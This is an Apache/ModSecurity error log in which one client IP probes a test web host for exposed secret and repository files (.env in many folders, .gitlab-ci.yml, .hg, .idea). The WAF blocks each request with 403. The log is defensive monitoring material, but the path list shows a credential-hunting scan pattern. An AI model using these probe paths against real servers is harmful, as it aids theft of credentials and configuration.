[Thu Feb 26 01:02:50.981438 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.github/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cgAAAAY&quot;]
[Thu Feb 26 01:02:50.981801 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cgAAAAY&quot;]
[Thu Feb 26 01:02:50.982018 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cgAAAAY&quot;]
[Thu Feb 26 01:02:51.010208 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-O_wAAAAU&quot;]
[Thu Feb 26 01:02:51.010482 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-O_wAAAAU&quot;]
[Thu Feb 26 01:02:51.010668 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-O_wAAAAU&quot;]
[Thu Feb 26 01:02:51.043436 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAAAAAAU&quot;]
[Thu Feb 26 01:02:51.043703 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAAAAAAU&quot;]
[Thu Feb 26 01:02:51.043909 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAAAAAAU&quot;]
[Thu Feb 26 01:02:51.085437 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dAAAAAY&quot;]
[Thu Feb 26 01:02:51.085675 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dAAAAAY&quot;]
[Thu Feb 26 01:02:51.085825 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dAAAAAY&quot;]
[Thu Feb 26 01:02:51.129479 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /3-sequelize/final/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAgAAAAU&quot;]
[Thu Feb 26 01:02:51.129734 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAgAAAAU&quot;]
[Thu Feb 26 01:02:51.129916 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAgAAAAU&quot;]
[Thu Feb 26 01:02:51.132265 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dQAAAAY&quot;]
[Thu Feb 26 01:02:51.132527 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dQAAAAY&quot;]
[Thu Feb 26 01:02:51.132693 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dQAAAAY&quot;]
[Thu Feb 26 01:02:51.157395 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /31_structure_tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAwAAAAU&quot;]
[Thu Feb 26 01:02:51.157618 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAwAAAAU&quot;]
[Thu Feb 26 01:02:51.157784 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PAwAAAAU&quot;]
[Thu Feb 26 01:02:51.177761 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab-ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dgAAAAY&quot;]
[Thu Feb 26 01:02:51.177987 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dgAAAAY&quot;]
[Thu Feb 26 01:02:51.178143 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dgAAAAY&quot;]
[Thu Feb 26 01:02:51.229448 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dwAAAAY&quot;]
[Thu Feb 26 01:02:51.229680 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dwAAAAY&quot;]
[Thu Feb 26 01:02:51.229848 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4dwAAAAY&quot;]
[Thu Feb 26 01:02:51.262755 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4eAAAAAY&quot;]
[Thu Feb 26 01:02:51.263032 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4eAAAAAY&quot;]
[Thu Feb 26 01:02:51.263193 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4eAAAAAY&quot;]
[Thu Feb 26 01:02:51.297684 2026] [authz_core:error] [pid 2331047] [client 185.177.72.22:23982] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Thu Feb 26 01:02:51.335296 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4egAAAAY&quot;]
[Thu Feb 26 01:02:51.335527 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4egAAAAY&quot;]
